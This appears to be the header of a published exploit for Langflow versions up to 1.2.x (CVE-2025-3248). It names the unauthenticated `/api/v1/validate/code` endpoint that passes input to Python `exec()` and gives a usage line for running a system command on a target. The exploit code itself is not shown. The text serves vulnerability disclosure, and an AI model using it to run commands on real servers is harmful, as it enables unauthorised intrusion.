# Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE)
# Date: 2025-07-11
# Exploit Author: Raghad Abdallah Al-syouf
# Vendor Homepage: https://github.com/logspace-ai/langflow
# Software Link: https://github.com/logspace-ai/langflow/releases
# Version: <= 1.2.x
# Tested on: Ubuntu / Docker
# CVE: CVE-2025-3248

# Description:
#Langflow exposes a vulnerable endpoint `/api/v1/validate/code` that improperly evaluates arbitrary Python code via the `exec()` function. An unauthenticated remote attacker can execute arbitrary system commands.

# Usage:
#python3 cve-2025-3248.py http://target:7860 "id"
